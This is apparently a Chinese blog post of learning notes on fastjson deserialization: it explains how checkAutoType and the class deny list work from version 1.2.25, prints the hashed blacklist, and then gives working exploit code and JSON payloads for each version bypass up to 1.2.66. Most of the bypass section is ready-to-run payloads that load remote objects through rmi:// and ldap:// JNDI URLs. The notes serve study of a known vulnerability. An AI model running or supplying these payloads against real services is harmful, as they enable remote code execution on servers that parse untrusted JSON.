fastjson3

前言

还是跟着Drunkbaby大佬的博客继续学习，这篇是fastjson各版本的绕过，绕过的利用都必须开启AutoTypeSupport才能成功。接着上篇的1.2.24，我们从1.2.25开始。

fastjson1.2.25如何修复的

先添加一下依赖包

<dependency>  
    <groupId>com.alibaba</groupId>  
    <artifactId>fastjson</artifactId>  
    <version>1.2.25</version>  
</dependency>

这里我们先看一下1.2.24与1.2.25之间的关键区别点
首先是1.2.24DefaultJSONParser.parserObject方法

这里有个加载类的方法的调用。作用就是找@type指向的类，并进行加载，类似于Class.forName
但是在1.2.25版本的时候，这里改成了checkAutoType

具体看一下checkAutoType方法的逻辑

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {  
    if (typeName == null) {  
        return null;  
    }  
  
    final String className = typeName.replace('$', '.'); 
     
  //autoTypeSupport默认是false
  /*在autoTypeSupport开启之后会对类先做一个白名单的过滤，若匹配成功就会进行类的加载，若不成功就会进行黑名单的过滤*/
    if (autoTypeSupport || expectClass != null) {  
        for (int i = 0; i < acceptList.length; ++i) {  
            String accept = acceptList[i];  
            if (className.startsWith(accept)) {  
                return TypeUtils.loadClass(typeName, defaultClassLoader);  
            }  
        }  
  
        for (int i = 0; i < denyList.length; ++i) {  
            String deny = denyList[i];  
            if (className.startsWith(deny)) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
        }  
    }  
  // 从Map缓存中获取类，注意这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);  
    if (clazz == null) {  
        clazz = deserializers.findClass(typeName);  
    }  
  
    if (clazz != null) {  
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {  
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
        }  
  
        return clazz;  
    }  
  /*如果autoTypeSupport没有开启，则会进行一个黑名单的过滤，若没有匹配成功就会进行百名单的过滤，如果匹配成功则进行类的加载*/
    if (!autoTypeSupport) {  
        for (int i = 0; i < denyList.length; ++i) {  
            String deny = denyList[i];  
            if (className.startsWith(deny)) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
        }  
        for (int i = 0; i < acceptList.length; ++i) {  
            String accept = acceptList[i];  
            if (className.startsWith(accept)) {  
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);  
  
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {  
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
                }  
                return clazz;  
            }  
        }  
    }  
  
    if (autoTypeSupport || expectClass != null) {  
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);  
    }  
  
    if (clazz != null) {  
  
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger  
                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver  
                ) {  
            throw new JSONException("autoType is not support. " + typeName);  
        }  
  
        if (expectClass != null) {  
            if (expectClass.isAssignableFrom(clazz)) {  
                return clazz;  
            } else {  
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
            }  
        }  
    }  
  
    if (!autoTypeSupport) {  
        throw new JSONException("autoType is not support. " + typeName);  
    }  
  
    return clazz;  
}

autoTypeSupport默认是false，acceptList是白名单（默认为空，可以手动添加），denyList是黑名单（默认是不为空的）。
在autoTypeSupport为默认false时，会先对@type指向的类进行黑名单的判断，结果如果匹配成功就会抛出错误，停止运行，如果没有匹配成功就会正常运行。
黑名单的内容

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

可以看到黑名单中是有com.sun的，我们在1.2.24的利用链中提到了两个利用链，一个是TemplatesImpl链和JdbcRowSetImpl链两者都要用到com.sun,所以现在两条链都不能继续使用了。

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项，在checkAutoType()函数的某些代码逻辑起到开关的作用。
默认情况下是false，将其设置为true的方法是：

1. JVM启动参数：-Dfastjson.parser.autoTypeSupport=true
2. 代码中设置Parserconfig.getGlobalInstance().setAutoTypeSupport(true); 如果使用非全局，parserConfig则要另外调用setAutoTypeSupport(true)
   AutoType白名单的设置方法：

• JVM启动参数：-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
• 代码中设置：ParserConfig.getGlobalInstance().addAccept("com.xx.a");
• 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置，配置方式如下：fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

寻找利用链

在1.2.42版本之后，为了增加安全性，将黑名单中的明文形式转换成了密文形式（哈希），但是大部分黑名单已经被人跑出来了。LeadroyaL/fastjson-blacklist

目前的列表

version	hash	hex-hash	name
1.2.42	-8720046426850100497	0x86fc2bf9beaf7aefL	org.apache.commons.collections4.comparators
1.2.42	-8109300701639721088	0x8f75f9fa0df03f80L	org.python.core
1.2.42	-7966123100503199569	0x9172a53f157930afL	org.apache.tomcat
1.2.42	-7766605818834748097	0x9437792831df7d3fL	org.apache.xalan
1.2.42	-6835437086156813536	0xa123a62f93178b20L	javax.xml
1.2.42	-4837536971810737970	0xbcdd9dc12766f0ceL	org.springframework.
1.2.42	-4082057040235125754	0xc7599ebfe3e72406L	org.apache.commons.beanutils
1.2.42	-2364987994247679115	0xdf2ddff310cdb375L	org.apache.commons.collections.Transformer
1.2.42	-1872417015366588117	0xe603d6a51fad692bL	org.codehaus.groovy.runtime
1.2.42	-254670111376247151	0xfc773ae20c827691L	java.lang.Thread
1.2.42	-190281065685395680	0xfd5bfc610056d720L	javax.net.
1.2.42	313864100207897507	0x45b11bc78a3aba3L	com.mchange
1.2.42	1203232727967308606	0x10b2bdca849d9b3eL	org.apache.wicket.util
1.2.42	1502845958873959152	0x14db2e6fead04af0L	java.util.jar.
1.2.42	3547627781654598988	0x313bb4abd8d4554cL	org.mozilla.javascript
1.2.42	3730752432285826863	0x33c64b921f523f2fL	java.rmi
1.2.42	3794316665763266033	0x34a81ee78429fdf1L	java.util.prefs.
1.2.42	4147696707147271408	0x398f942e01920cf0L	com.sun.
1.2.42	5347909877633654828	0x4a3797b30328202cL	java.util.logging.
1.2.42	5450448828334921485	0x4ba3e254e758d70dL	org.apache.bcel
1.2.42	5751393439502795295	0x4fd10ddc6d13821fL	java.net.Socket
1.2.42	5944107969236155580	0x527db6b46ce3bcbcL	org.apache.commons.fileupload
1.2.42	6742705432718011780	0x5d92e6ddde40ed84L	org.jboss
1.2.42	7179336928365889465	0x63a220e60a17c7b9L	org.hibernate
1.2.42	7442624256860549330	0x6749835432e0f0d2L	org.apache.commons.collections.functors
1.2.42	8838294710098435315	0x7aa7ee3627a19cf3L	org.apache.myfaces.context.servlet
1.2.43	-2262244760619952081	0xe09ae4604842582fL	java.net.URL
1.2.46	-8165637398350707645	0x8eadd40cb2a94443L	junit.
1.2.46	-8083514888460375884	0x8fd1960988bce8b4L	org.apache.ibatis.datasource
1.2.46	-7921218830998286408	0x92122d710e364fb8L	org.osjava.sj.
1.2.46	-7768608037458185275	0x94305c26580f73c5L	org.apache.log4j.
1.2.46	-6179589609550493385	0xaa3daffdb10c4937L	org.logicalcobwebs.
1.2.46	-5194641081268104286	0xb7e8ed757f5d13a2L	org.apache.logging.
1.2.46	-3935185854875733362	0xc963695082fd728eL	org.apache.commons.dbcp
1.2.46	-2753427844400776271	0xd9c9dbf6bbd27bb1L	com.ibatis.sqlmap.engine.datasource
1.2.46	-1589194880214235129	0xe9f20bad25f60807L	org.jdom.
1.2.46	1073634739308289776	0xee6511b66fd5ef0L	org.slf4j.
1.2.46	5688200883751798389	0x4ef08c90ff16c675L	javassist.
1.2.46	7017492163108594270	0x616323f12c2ce25eL	oracle.net
1.2.46	8389032537095247355	0x746bd4a53ec195fbL	org.jaxen.
1.2.48	1459860845934817624	0x144277b467723158L	java.net.InetAddress
1.2.48	8409640769019589119	0x74b50bb9260e31ffL	java.lang.Class
1.2.49	4904007817188630457	0x440e89208f445fb9L	com.alibaba.fastjson.annotation
1.2.59	5100336081510080343	0x46c808a4b5841f57L	org.apache.cxf.jaxrs.provider.
1.2.59	6456855723474196908	0x599b5c1213a099acL	ch.qos.logback.
1.2.59	8537233257283452655	0x767a586a5107feefL	net.sf.ehcache.transaction.manager.
1.2.60	3688179072722109200	0x332f0b5369a18310L	com.zaxxer.hikari.
1.2.61	-4401390804044377335	0xc2eb1e621f439309L	flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61	-1650485814983027158	0xe9184be55b1d962aL	org.apache.openjpa.ee.
1.2.61	-1251419154176620831	0xeea210e8da2ec6e1L	oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61	-9822483067882491	0xffdd1a80f1ed3405L	com.mysql.cj.jdbc.admin.
1.2.61	99147092142056280	0x1603dc147a3e358L	oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61	3114862868117605599	0x2b3a37467a344cdfL	org.apache.ibatis.parsing.
1.2.61	4814658433570175913	0x42d11a560fc9fba9L	org.apache.axis2.jaxws.spi.handler.
1.2.61	6511035576063254270	0x5a5bd85c072e5efeL	jodd.db.connection.
1.2.61	8925522461579647174	0x7bddd363ad3998c6L	org.apache.commons.configuration.JNDIConfiguration
1.2.62	-9164606388214699518	0x80d0c70bcc2fea02L	org.apache.ibatis.executor.
1.2.62	-8649961213709896794	0x87f52a1b07ea33a6L	net.sf.cglib.
1.2.62	-6316154655839304624	0xa85882ce1044c450L	oracle.net.
1.2.62	-5764804792063216819	0xafff4c95b99a334dL	com.mysql.cj.jdbc.MysqlDataSource
1.2.62	-4608341446948126581	0xc00be1debaf2808bL	jdk.internal.
1.2.62	-4438775680185074100	0xc2664d0958ecfe4cL	aj.org.objectweb.asm.
1.2.62	-3319207949486691020	0xd1efcdf4b3316d34L	oracle.jdbc.
1.2.62	-2192804397019347313	0xe1919804d5bf468fL	org.apache.commons.collections.comparators.
1.2.62	-2095516571388852610	0xe2eb3ac7e56c467eL	net.sf.ehcache.hibernate.
1.2.62	4750336058574309	0x10e067cd55c5e5L	com.mysql.cj.log.
1.2.62	218512992947536312	0x3085068cb7201b8L	org.h2.jdbcx.
1.2.62	823641066473609950	0xb6e292fa5955adeL	org.apache.commons.logging.
1.2.62	1534439610567445754	0x154b6cb22d294cfaL	org.apache.ibatis.reflection.
1.2.62	1818089308493370394	0x193b2697eaaed41aL	org.h2.server.
1.2.62	2164696723069287854	0x1e0a8c3358ff3daeL	org.apache.ibatis.datasource.
1.2.62	2653453629929770569	0x24d2f6048fef4e49L	org.objectweb.asm.
1.2.62	2836431254737891113	0x275d0732b877af29L	flex.messaging.util.concurrent.
1.2.62	3089451460101527857	0x2adfefbbfe29d931L	org.apache.ibatis.javassist.
1.2.62	3256258368248066264	0x2d308dbbc851b0d8L	java.lang.UNIXProcess
1.2.62	3718352661124136681	0x339a3e0b6beebee9L	org.apache.ibatis.ognl.
1.2.62	4046190361520671643	0x3826f4b2380c8b9bL	com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62	4841947709850912914	0x43320dc9d2ae0892L	org.codehaus.jackson.
1.2.62	6280357960959217660	0x5728504a6d454ffcL	org.apache.ibatis.scripting.
1.2.62	6534946468240507089	0x5ab0cb3071ab40d1L	org.apache.commons.proxy.
1.2.62	6734240326434096246	0x5d74d3e5b9370476L	com.mysql.cj.jdbc.MysqlXADataSource
1.2.62	7123326897294507060	0x62db241274397c34L	org.apache.commons.collections.functors.
1.2.62	8488266005336625107	0x75cc60f5871d0fd3L	org.apache.commons.configuration
1.2.66	-2439930098895578154	0xde23a0809a8b9bd6L	javax.script.
1.2.66	-582813228520337988	0xf7e96e74dfa58dbcL	javax.sound.
1.2.66	-26639035867733124	0xffa15bf021f1e37cL	javax.print.
1.2.66	386461436234701831	0x55cfca0f2281c07L	javax.activation.
1.2.66	1153291637701043748	0x100150a253996624L	javax.tools.
1.2.66	1698504441317515818L	0x17924cca5227622aL	javax.management.
1.2.66	7375862386996623731L	0x665c53c311193973L	org.apache.xbean.
1.2.66	7658177784286215602L	0x6a47501ebb2afdb2L	org.eclipse.jetty.
1.2.66	8055461369741094911L	0x6fcabf6fa54cafffL	javax.naming.
1.2.67	-7775351613326101303L	0x941866e73beff4c9L	org.apache.shiro.realm.
1.2.67	-6025144546313590215L	0xac6262f52c98aa39L	org.apache.http.conn.
1.2.67	-5939269048541779808L	0xad937a449831e8a0L	org.quartz.
1.2.67	-5885964883385605994L	0xae50da1fad60a096L	com.taobao.eagleeye.wrapper
1.2.67	-3975378478825053783L	0xc8d49e5601e661a9L	org.apache.http.impl.
1.2.67	-2378990704010641148L	0xdefc208f237d4104L	com.ibatis.
1.2.67	-905177026366752536L	0xf3702a4a5490b8e8L	org.apache.catalina.
1.2.67	2660670623866180977L	0x24ec99d5e7dc5571L	org.apache.http.auth.
1.2.67	2731823439467737506L	0x25e962f1c28f71a2L	br.com.anteros.
1.2.67	3637939656440441093L	0x327c8ed7c8706905L	com.caucho.
1.2.67	4254584350247334433L	0x3b0b51ecbf6db221L	org.apache.http.cookie.
1.2.67	5274044858141538265L	0x49312bdafb0077d9L	org.javasimon.
1.2.67	5474268165959054640L	0x4bf881e49d37f530L	org.apache.cocoon.
1.2.67	5596129856135573697L	0x4da972745feb30c1L	org.apache.activemq.jms.pool.
1.2.67	6854854816081053523L	0x5f215622fb630753L	org.mortbay.jetty.
1.2.68	-3077205613010077203L	0xd54b91cc77b239edL	org.apache.shiro.jndi.
1.2.68	-2825378362173150292L	0xd8ca3d595e982bacL	org.apache.ignite.cache.jta.
1.2.68	2078113382421334967L	0x1cd6f11c6a358bb7L	javax.swing.J
1.2.68	6007332606592876737L	0x535e552d6f9700c1L	org.aoju.bus.proxy.provider.
1.2.68	9140390920032557669L	0x7ed9311d28bf1a65L	java.awt.p
1.2.68	9140416208800006522L	0x7ed9481d28bf417aL	java.awt.i
1.2.69	-8024746738719829346L	0x90a25f5baa21529eL	java.io.Serializable
1.2.69	-5811778396720452501L	0xaf586a571e302c6bL	java.io.Closeable
1.2.69	-3053747177772160511L	0xd59ee91f0b09ea01L	oracle.jms.AQ
1.2.69	-2114196234051346931L	0xe2a8ddba03e69e0dL	java.util.Collection
1.2.69	-2027296626235911549L	0xe3dd9875a2dc5283L	java.lang.Iterable
1.2.69	-2939497380989775398L	0xd734ceb4c3e9d1daL	java.lang.Object
1.2.69	-1368967840069965882L	0xed007300a7b227c6L	java.lang.AutoCloseable
1.2.69	2980334044947851925L	0x295c4605fd1eaa95L	java.lang.Readable
1.2.69	3247277300971823414L	0x2d10a5801b9d6136L	java.lang.Cloneable
1.2.69	5183404141909004468L	0x47ef269aadc650b4L	java.lang.Runnable
1.2.69	7222019943667248779L	0x6439c4dff712ae8bL	java.util.EventListener
1.2.70	-5076846148177416215L	0xb98b6b5396932fe9L	org.apache.commons.collections4.Transformer
1.2.70	-4703320437989596122L	0xbeba72fb1ccba426L	org.apache.commons.collections4.functors
1.2.70	-4314457471973557243L	0xc41ff7c9c87c7c05L	org.jdom2.transform.
1.2.70	-2533039401923731906L	0xdcd8d615a6449e3eL	org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70	156405680656087946L	0x22baa234c5bfb8aL	com.p6spy.engine.
1.2.70	1214780596910349029L	0x10dbc48446e0dae5L	org.apache.activemq.pool.
1.2.70	3085473968517218653L	0x2ad1ce3a112f015dL	org.apache.aries.transaction.
1.2.70	3129395579983849527L	0x2b6dd8b3229d6837L	org.apache.activemq.ActiveMQConnectionFactory
1.2.70	4241163808635564644L	0x3adba40367f73264L	org.apache.activemq.spring.
1.2.70	7240293012336844478L	0x647ab0224e149ebeL	org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70	7347653049056829645L	0x65f81b84c1d920cdL	org.apache.commons.jelly.
1.2.70	7617522210483516279L	0x69b6e0175084b377L	org.apache.axis2.transport.jms.
1.2.71	-4537258998789938600L	0xc1086afae32e6258L	java.io.FileReader
1.2.71	-4150995715611818742L	0xc664b363baca050aL	java.io.ObjectInputStream
1.2.71	-2995060141064716555L	0xd66f68ab92e7fef5L	java.io.FileInputStream
1.2.71	-965955008570215305L	0xf2983d099d29b477L	java.io.ObjectOutputStream
1.2.71	-219577392946377768L	0xfcf3e78644b98bd8L	java.io.DataOutputStream
1.2.71	2622551729063269307L	x24652ce717e713bbL	java.io.PrintWriter
1.2.71	2930861374593775110L	0x28ac82e44e933606L	java.io.Buffered
1.2.71	4000049462512838776L	0x378307cb0111e878L	java.io.InputStreamReader
1.2.71	4193204392725694463L	0x3a31412dbb05c7ffL	java.io.OutputStreamWriter
1.2.71	5545425291794704408L	0x4cf54eec05e3e818L	java.io.FileWriter
1.2.71	6584624952928234050L	0x5b6149820275ea42L	java.io.FileOutputStream
1.2.71	7045245923763966215L	0x61c5bdd721385107L	java.io.DataInputStream
1.2.83	-8754006975464705441L	0x868385095a22725fL	org.apache.commons.io.
1.2.83	-8382625455832334425L	0x8baaee8f9bf77fa7L	org.mvel2.
1.2.83	-6088208984980396913L	0xab82562f53e6e48fL	kotlin.reflect.
1.2.83	-4733542790109620528L	0xbe4f13e96a6796d0L	com.googlecode.aviator.
1.2.83	-1363634950764737555L	0xed13653cb45c4bedL	org.aspectj.
1.2.83	-803541446955902575L	0xf4d93f4fb3e3d991L	org.dom4j.
1.2.83	860052378298585747L	0xbef8514d0b79293L	org.apache.commons.cli.
1.2.83	1268707909007641340L	0x119b5b1f10210afcL	com.google.common.eventbus.
1.2.83	3058452313624178956L	0x2a71ce2cc40a710cL	org.thymeleaf.
1.2.83	3740226159580918099L	0x33e7f3e02571b153L	org.junit.
1.2.83	3977090344859527316L	0x37317698dcfce894L	org.mockito.asm.
1.2.83	4319304524795015394L	0x3bf14094a524f0e2L	com.google.common.io.
1.2.83	5120543992130540564L	0x470fd3a18bb39414L	org.mockito.runners.
1.2.83	5916409771425455946L	0x521b4f573376df4aL	org.mockito.cglib.
1.2.83	6090377589998869205L	0x54855e265fe1dad5L	com.google.common.reflect.
1.2.83	7164889056054194741L	0x636ecca2a131b235L	org.mockito.stubbing.
1.2.83	8711531061028787095L	0x78e5935826671397L	org.apache.commons.codec.
1.2.83	8735538376409180149L	0x793addded7a967f5L	ognl.
1.2.83	8861402923078831179L	0x7afa070241b8cc4bL	com.google.common.util.concurrent.
1.2.83	9140416208800006522L	0x7ed9481d28bf417aL	java.awt.i
1.2.83	9144212112462101475L	0x7ee6c477da20bbe3L	com.google.common.net.

目前未知的列表

version	hash	hex-hash	name
1.2.42	33238344207745342	0x761619136cc13eL
1.2.67	-831789045734283466L	0xf474e44518f26736L
1.2.71	3452379460455804429L	0x2fe950d3ea52ae0dL
1.2.78	-8614556368991373401L	0x8872f29fd0b0b7a7L
1.2.78	-5472097725414717105L	0xb40f341c746ec94fL
1.2.78	-3750763034362895579L	0xcbf29ce484222325L
1.2.78	-1800035667138631116L	0xe704fd19052b2a34L
1.2.78	-831789045734283466L	0xf474e44518f26736L
1.2.78	33238344207745342L	0x761619136cc13eL
1.2.78	3452379460455804429L	0x2fe950d3ea52ae0dL
1.2.78	4215053018660518963L	0x3a7ee0635eb2bc33L
1.2.83	-8614556368991373401L	0x8872f29fd0b0b7a7L
1.2.83	-3750763034362895579L	0xcbf29ce484222325L
1.2.83	-1800035667138631116L	0xe704fd19052b2a34L
1.2.83	4215053018660518963L	0x3a7ee0635eb2bc33L

各版本的绕过

1.2.25-1.2.41

这里很明显被ban了
绕过方法：com.sun.rowset.JdbcRowSetImpl前面加一个L后面加一个; 进行绕过
记得启动AutoTypeSupport
exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class test1 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
            String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";  
            JSON.parse(json);  
  
    }  
}

分析

因为Lcom.sun.rowset.JdbcRowSetImpl;这个是不存在黑名单中的，一直向下走便会到LoadClass中，然后跟进去看。

绕过的理由就在这里，如果是以L开头;结尾的话，就会去除掉，然后进行类的加载。这也就导致了绕过的成功。

1. 2.25-1.2.42

exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class test1 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
            String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";  
            JSON.parse(json);  
  
    }  
}

这里代码逻辑会先进行提取了，所以我们直接写两个L和; 进行绕过

1.2.25-1.2.43

直接给出绕过exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class test1 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
            String json = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";  
            JSON.parse(json);  
  
    }  
}

分析

这里除了会对L和;进行提取之外，还会对 [ 进行提取,所以可以在类前加[但是，在反序列化时还要满足特定的条件，否则会报错，我们来看一下。

这里会对最后字符的内容是否时“[”，“{”进行校验，所以要添加上，防止报错。

1.2.25-1.2.45

前提条件：要存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。
放个依赖包

<dependency>  
    <groupId>org.mybatis</groupId>  
    <artifactId>mybatis</artifactId>  
    <version>3.4.6</version>  
</dependency>

exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;  
  
public class test1 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
  
        String json ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +  
                "\"properties\":{\"data_source\":\"rmi://localhost:1099/RO\"}}";  
        JSON.parse(json);  
  
    }  
}

这个在45之前的版本是不在黑名单里面的，所以可以利用的。

再来看这里有很明显的jndi注入对吧。
所以绕过成功

1.2.25-1.2.47

这个的绕过方法是基于checkAutoType()函数绕过的，并且不需要开启AutoTypeSupport，大致思路是通过java.lang.Class，将JdbcRowSetImpl类加载到Map缓存中，从而绕过AutoType的检测，因此需要将payload分两次发送，第一次是加载，第二次是执行，默认情况下，没有遇到加载的类checkAutoType()就会抛出异常终止程序。
以下是exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;  
  
public class test1 {  
    public static void main(String[] args) {  
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"  
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","  
                + "\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}}";  
        JSON.parse(payload);  
  
    }  
}

具体的分析大家可以看Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog我具体就不分析了

后续版本的链子

Fastjson1.2.5-1.2.59

需要开启AutoType

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5-1.2.60

需要开启AutoType

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5-1.2.61

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

Fastjson <=1.2.62

{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"rmi://127.0.0.1:1099/exploit"
}";

Fastjson <=1.2.66

{
  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
  "resourceName":"ldap://192.168.80.1:1389/Calc"
  }

总结

后续版本的绕过还有很多，我就不一一总结了，大家也可以看看别的文章哦

参考

Java中Fastjson各版本漏洞对抗史与总结-先知社区
Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog